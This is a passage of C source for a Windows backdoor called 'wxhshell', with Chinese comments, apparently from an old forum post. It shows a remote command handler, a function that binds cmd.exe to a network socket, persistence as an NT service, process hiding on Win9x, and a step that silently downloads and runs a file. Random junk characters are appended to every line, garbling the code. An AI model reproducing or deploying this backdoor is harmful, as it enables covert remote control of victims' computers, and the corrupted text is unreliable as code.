  else P Zc{wbjp&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /P-Eg86V'  
  } YN@ 4.&RP  
  else { %95'oW)lo  
U'tfsf/V  
    switch(cmd[0]) { 0 w#[?.  
  30Z RKrW"~  
  // 帮助 8Qg,UX  
  case '?': { )|@ H#kv?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [# '38  
    break; 0u'qu2mV  
  } +Eh^j3W  
  // 安装 [Nn ?:5"  
  case 'i': { Cp@' k;(  
    if(Install()) ?]# U~M<'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Aj;F$(su  
    else G`HL^/Z*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IO\ >U(:vx  
    break; W l+[{#  
    } uKcwVEu  
  // 卸载 uM^eoh_  
  case 'r': { m% {4  
    if(Uninstall()) =tv,B3Mo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1E*No1  
    else %EooGHGF?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~KufSt *  
    break; .#] V5g,  
    } R""P01IZH  
  // 显示 wxhshell 所在路径 oVLgHB\zL  
  case 'p': { ]$>O--  
    char svExeFile[MAX_PATH]; i: ZL0nH-  
    strcpy(svExeFile,"\n\r"); jB17]OCN  
      strcat(svExeFile,ExeFile); WD^!G;}  
        send(wsh,svExeFile,strlen(svExeFile),0); '>]9efJA  
    break; 8SGFzb! h  
    } WYb\vm =r  
  // 重启 v{}i`|~J  
  case 'b': { ZO2$Aan  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cv b:FK  
    if(Boot(REBOOT)) {5=Iu\e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y@kRJ 8d  
    else { \p-3P)U  
    closesocket(wsh); X&[S.$_U  
    ExitThread(0); $`Z-,AJc  
    } hwaU;>F  
    break; $EB&]t+  
    } Dg$Z5`%k8  
  // 关机 . _5g<aw;  
  case 'd': { V^P]QQ\ )  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DB'd9<  
    if(Boot(SHUTDOWN)) TRl,L5wd-?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e `!PQMLU  
    else { 1N_Gk&  
    closesocket(wsh); R7o3X,-iwn  
    ExitThread(0); * ?a-m\  
    } G $TLWfm  
    break; cu4&*{  
    } mZ^z%+Ca|  
  // 获取shell \G?GX  
  case 's': { 7|IOn5  
    CmdShell(wsh); E*ug.nxy  
    closesocket(wsh); K 9ytot  
    ExitThread(0); 'E{n1[b  
    break; @?$x  
  } <6]TazW?S  
  // 退出 ^T[8j/9o^  
  case 'x': { eC^UL5>%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :Rh?#yO 5  
    CloseIt(wsh); p`jkyi  
    break; bqHR~4 #IR  
    } 2g elmQnc  
  // 离开 FC:Z9{2!  
  case 'q': { |0A"3w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4LRrrW  
    closesocket(wsh); vps</f!  
    WSACleanup(); v2e*mNK5  
    exit(1); =l_B58wrx  
    break; )uvs%hK  
        } [*<F   
  } _;G. QwHr  
  } ,9I %t%sb  
uXX3IE[  
  // 提示信息 o5 UM)g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +>#SB"'  
} v=A ]#O%  
  } '~HCYE:5  
7~@9=e8G  
  return; #V[j Q Vl  
} d{cd+An  
Bb 5|+b P  
// shell模块句柄 t6GL/M4  
int CmdShell(SOCKET sock) )[d?&GK  
{ gOpi>  
STARTUPINFO si; v+.  n9  
ZeroMemory(&si,sizeof(si)); /;7\HZ$@/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'D ,efTq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d NQ?8P-&  
PROCESS_INFORMATION ProcessInfo; Yj/aa0Ka4  
char cmdline[]="cmd"; *=Ko"v }  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %#xdD2oN  
  return 0; {sn RS)-  
} Z)?i&y?  
&Kuo|=f  
// 自身启动模式 kdVc;v/5  
int StartFromService(void) Zl5cHejM  
{ dzIc X*"  
typedef struct _MF:?p,l  
{ 3*< O-Jr  
  DWORD ExitStatus; aDrF" j  
  DWORD PebBaseAddress; s}8(__|  
  DWORD AffinityMask; /5qeNjI+2  
  DWORD BasePriority; !~+"TI}_%w  
  ULONG UniqueProcessId; 'R&Y pR  
  ULONG InheritedFromUniqueProcessId; X]^FHYjhS  
}   PROCESS_BASIC_INFORMATION; BI\ )vr$  
]JQ7x[  
PROCNTQSIP NtQueryInformationProcess; {BkTJQ)  
$#3O:aW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {}r#s>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; : GVyY]qBU  
0E*q-$P  
  HANDLE             hProcess; a$0,T_wD  
  PROCESS_BASIC_INFORMATION pbi; Gwyjie9t  
[D !-~]5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KIyhvY~  
  if(NULL == hInst ) return 0; Gk<M@d^hQ  
mlq+Z#9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Akar@wh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); en6Kdqe  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [1+ o  
!i >&z?  
  if (!NtQueryInformationProcess) return 0; (x;Uy  
+m|S7yr'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^|u7+b'|t  
  if(!hProcess) return 0; 8|Wu8z--  
^HJvT)e4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :{:R5d(_I  
v5 |XyN"  
  CloseHandle(hProcess); N_ 3$B=  
mGss9eZa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]!@z3Hv3  
if(hProcess==NULL) return 0;  rG#o*oA  
)uj:k*`)  
HMODULE hMod; C[E[|s*l  
char procName[255]; 6j*L]S c  
unsigned long cbNeeded; >K|<hzZ  
:Ma=P\J W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ORVFp]gG  
c[p>*FnP  
  CloseHandle(hProcess); =t[hsl  
nK95v}p}Y  
if(strstr(procName,"services")) return 1; // 以服务启动 Gi=sJV  
Ue:LKK1Gsr  
  return 0; // 注册表启动 vBFMne1h  
} y {&"g  
M)m(  
// 主模块 ;iol 2  
int StartWxhshell(LPSTR lpCmdLine) 29a~B<e7s  
{ &@g~o0  
  SOCKET wsl; 79m',9{u  
BOOL val=TRUE; ;Jh=7wx  
  int port=0; jXa;ovPK  
  struct sockaddr_in door; {..6{~L  
Alo;kt@x  
  if(wscfg.ws_autoins) Install(); w'[^RZW:j  
C?xah?Sk  
port=atoi(lpCmdLine); ElFiR ;   
*Sd}cDCO%  
if(port<=0) port=wscfg.ws_port; 3 pzp6o2  
jN3K= MA  
  WSADATA data; ^{<!pvT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BM~>=emc  
Sw1z^`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2p^Jqp`$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6]%SSq&  
  door.sin_family = AF_INET; ,,FO6+4f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wwvS05=[T  
  door.sin_port = htons(port); ,@\$PyJ  
bD2):U*Fzo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %S`ygc}|  
closesocket(wsl); e8Ul^]  
return 1; U z*7J  
} MNuBZnO  
`_MRf[Z}  
  if(listen(wsl,2) == INVALID_SOCKET) { 3I"xuKxc  
closesocket(wsl); k?!CJ@5$  
return 1; _Wb3,E a=  
} 1 N{unS  
  Wxhshell(wsl); %`]&c)&#Z  
  WSACleanup(); G+_Q7-o&d6  
pB;U*lt  
return 0;  1{fu  
[Re.sX}$Y  
} _nUvDdEs,  
[Sj _=  
// 以NT服务方式启动 `@_j Do  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %qycxEVP  
{ i?HN  
DWORD   status = 0; {wp~  
  DWORD   specificError = 0xfffffff; +hIC N,8!  
eNHSfq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !#NGGIp;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MD4RSl<F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h^B~Fv>~  
  serviceStatus.dwWin32ExitCode     = 0; $D][_I  
  serviceStatus.dwServiceSpecificExitCode = 0; w\K(kNd(  
  serviceStatus.dwCheckPoint       = 0; Wr j<}L|  
  serviceStatus.dwWaitHint       = 0; 5bj9S  
 Zra P\?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pu"m(9  
  if (hServiceStatusHandle==0) return; U } K]W>Z  
G?,b51"  
status = GetLastError(); <MQTOz oj  
  if (status!=NO_ERROR) JEL.*[/  
{ >s%&t[r6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6_=t~9sY  
    serviceStatus.dwCheckPoint       = 0; J<9;Ix8R  
    serviceStatus.dwWaitHint       = 0; iB XS   
    serviceStatus.dwWin32ExitCode     = status; a>o]garB+  
    serviceStatus.dwServiceSpecificExitCode = specificError; =Hd+KvA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |34M.YjA  
    return; V* I2  
  } %a=^T?8  
ev4f9Fhu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =C(((T.  
  serviceStatus.dwCheckPoint       = 0; NMvNw?]  
  serviceStatus.dwWaitHint       = 0; w(N$$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .4cV X|T  
} 8XG|K`'u  
k .#I ;7  
// 处理NT服务事件,比如:启动、停止 p Lwtm@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) olxnQYFo  
{ FoW|BGA~  
switch(fdwControl) xbNL <3"a  
{ <*3#nA-O>i  
case SERVICE_CONTROL_STOP: '}, 8x?  
  serviceStatus.dwWin32ExitCode = 0; PKg>|]Rf.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PNp-/1Cx  
  serviceStatus.dwCheckPoint   = 0; VkD}gJY  
  serviceStatus.dwWaitHint     = 0; Q`zW[Y&]  
  { ]kir@NMv>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >Tp`Kri  
  } 2[X\*"MQ2  
  return; G_E \p%L>]  
case SERVICE_CONTROL_PAUSE: 3EA+tG4KnO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8dUP_t~d#q  
  break; ?ZAynZF|#  
case SERVICE_CONTROL_CONTINUE: 4XNdsb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CQns:.`$`  
  break; T(z/Jm3  
case SERVICE_CONTROL_INTERROGATE: ..fbRt  
  break; `L m9!?  
}; 'E)g )@^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i `7(5L~`  
} v\G+t2{  
|ERf3  
// 标准应用程序主函数 c>b{/92%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2u%YRrp  
{ :soR7oHZ  
jmJeu@(  
// 获取操作系统版本 #/ HQ?3h]  
OsIsNt=GetOsVer(); *3A)s O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6R|^IPOGp  
5_[we1$P  
  // 从命令行安装 }G ^nK m  
  if(strpbrk(lpCmdLine,"iI")) Install(); *cy!PF&  
1a tQ9  
  // 下载执行文件 Zq"  
if(wscfg.ws_downexe) { &Vy.)0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~F.kgX  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZkqZO#nq C  
} Zv5vYe9Ow  
XR+  
if(!OsIsNt) { {lbNYjknS  
// 如果时win9x,隐藏进程并且设置为注册表启动 q^ eLbivVE  
HideProc(); nC5]IYL|  
StartWxhshell(lpCmdLine); VLcwBdo  
} ,DD}o  
else ho%G  
  if(StartFromService()) 4XgzNwm  
  // 以服务方式启动 f/vsf&^O  
  StartServiceCtrlDispatcher(DispatchTable); .c]@xoC  
else  s-Qq#T  
  // 普通方式启动 kL e{3>}j  
  StartWxhshell(lpCmdLine); 6^sH3=#  
i'3)5  
return 0; b6d}<b9#  
}
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只看该作者 1 发表于: 2006-10-10
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